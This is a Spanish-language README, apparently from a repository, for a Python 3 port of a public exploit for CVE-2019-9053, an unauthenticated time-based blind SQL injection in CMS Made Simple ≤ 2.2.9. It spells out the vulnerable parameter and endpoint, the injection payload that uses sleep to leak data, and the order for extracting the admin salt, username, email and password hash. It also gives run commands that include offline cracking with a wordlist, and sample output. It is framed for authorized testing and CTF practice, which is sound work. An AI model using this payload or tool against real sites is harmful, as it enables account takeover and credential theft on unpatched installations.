
Exploit de inyección SQL ciega basada en tiempo sin autenticación para CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), portado a Python 3.
Aviso legal: Esta herramienta está destinada únicamente a pruebas de penetración autorizadas y fines educativos. Ejecutarla contra sistemas sin permiso expreso por escrito es ilegal. El autor no asume ninguna responsabilidad por su uso indebido.
Esta es una adaptación a Python 3 del exploit público para CVE-2019-9053: una vulnerabilidad de inyección SQL ciega basada en tiempo sin autenticación en CMS Made Simple ≤ 2.2.9.
El parámetro vulnerable es m1_idlist en el endpoint /moduleinterface.php (módulo News). La entrada del usuario se pasa sin sanitizar a una consulta SQL, lo que permite a un atacante no autenticado extraer el salt del administrador, el nombre de usuario, el correo electrónico y el hash de la contraseña, y opcionalmente crackear la contraseña fuera de línea.
Exploit original de Daniele Scanu @ Certimeter Group.
Adaptación a Python 3 con correcciones y limpieza.
El exploit utiliza un oráculo de tiempo: inyecta SELECT sleep(T) en una condición SQL LIKE y mide el tiempo de respuesta HTTP. Si el servidor se detiene ≥ T segundos, la condición inyectada era verdadera. Esto permite extraer datos carácter a carácter sin que ningún dato aparezca en el cuerpo de la respuesta HTTP.
Estructura del payload:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(known_prefix+guess)}25
+and+user_id+like+0x31)+--+
Orden de extracción:
Tras la extracción, el opcional ataque de diccionario fuera de línea calcula MD5(salt + word) contra una lista de palabras; no se necesitan más peticiones de red.
El script original estaba escrito para Python 2. Se corrigieron los siguientes cambios incompatibles:
pip3 install requests termcolor
| Dependencia | Propósito |
|---|---|
requests | Peticiones HTTP al objetivo |
termcolor | Salida de terminal en color |
# Extracción básica (sin crackeo de contraseña)
python3 exploit.py -u http://<target-ip>/simple
# Extracción + crackeo de contraseña fuera de línea
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt
| Flag | Descripción |
|---|---|
-u, |
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123
Este exploit se proporciona únicamente para pruebas de penetración autorizadas y uso educativo/CTF.
El uso no autorizado contra sistemas que no posees o para los que no tienes permiso expreso por escrito es un delito penal según la IT Act, 2000 (India) y leyes equivalentes en todo el mundo.
| Paso | Campo | Tabla | Notas |
|---|
| 1 | Salt | cms_siteprefs | Necesario para crackear la contraseña |
| 2 | Usuario | cms_users | user_id = 1 (admin) |
| 3 | Correo | cms_users | user_id = 1 (admin) |
| 4 | Contraseña | cms_users | Almacenada como MD5(salt + contraseña) |
| # | Cambio | Motivo |
|---|
| 1 | print "..." → print("...") | print es una función en Python 3 |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | hashlib.md5() requiere bytes en Python 3 |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict eclipsa un built-in; se cambió a un administrador de contexto |
| 4 | print "\033c" → print("\033c", end="") | Evita un doble salto de línea al limpiar la terminal |
| 5 | print colored(...) → print(colored(...)) | colored() devuelve una cadena; necesita envolverse con print() |
--url| URL base de la instalación de CMS Made Simple |
-w, --wordlist | Ruta a una lista de palabras para el crackeo fuera de línea |
-c, --crack | Habilita el modo de crackeo de contraseñas |
| Campo | Valor |
|---|
| ID del CVE | CVE-2019-9053 |
| Puntuación CVSS | 7.5 (Alta) |
| Tipo | Inyección SQL ciega basada en tiempo sin autenticación |
| Afecta | CMS Made Simple ≤ 2.2.9 |
| Parámetro | m1_idlist en el módulo News |
| Autenticación necesaria | Ninguna |
| Parche | CMS Made Simple 2.2.10+ |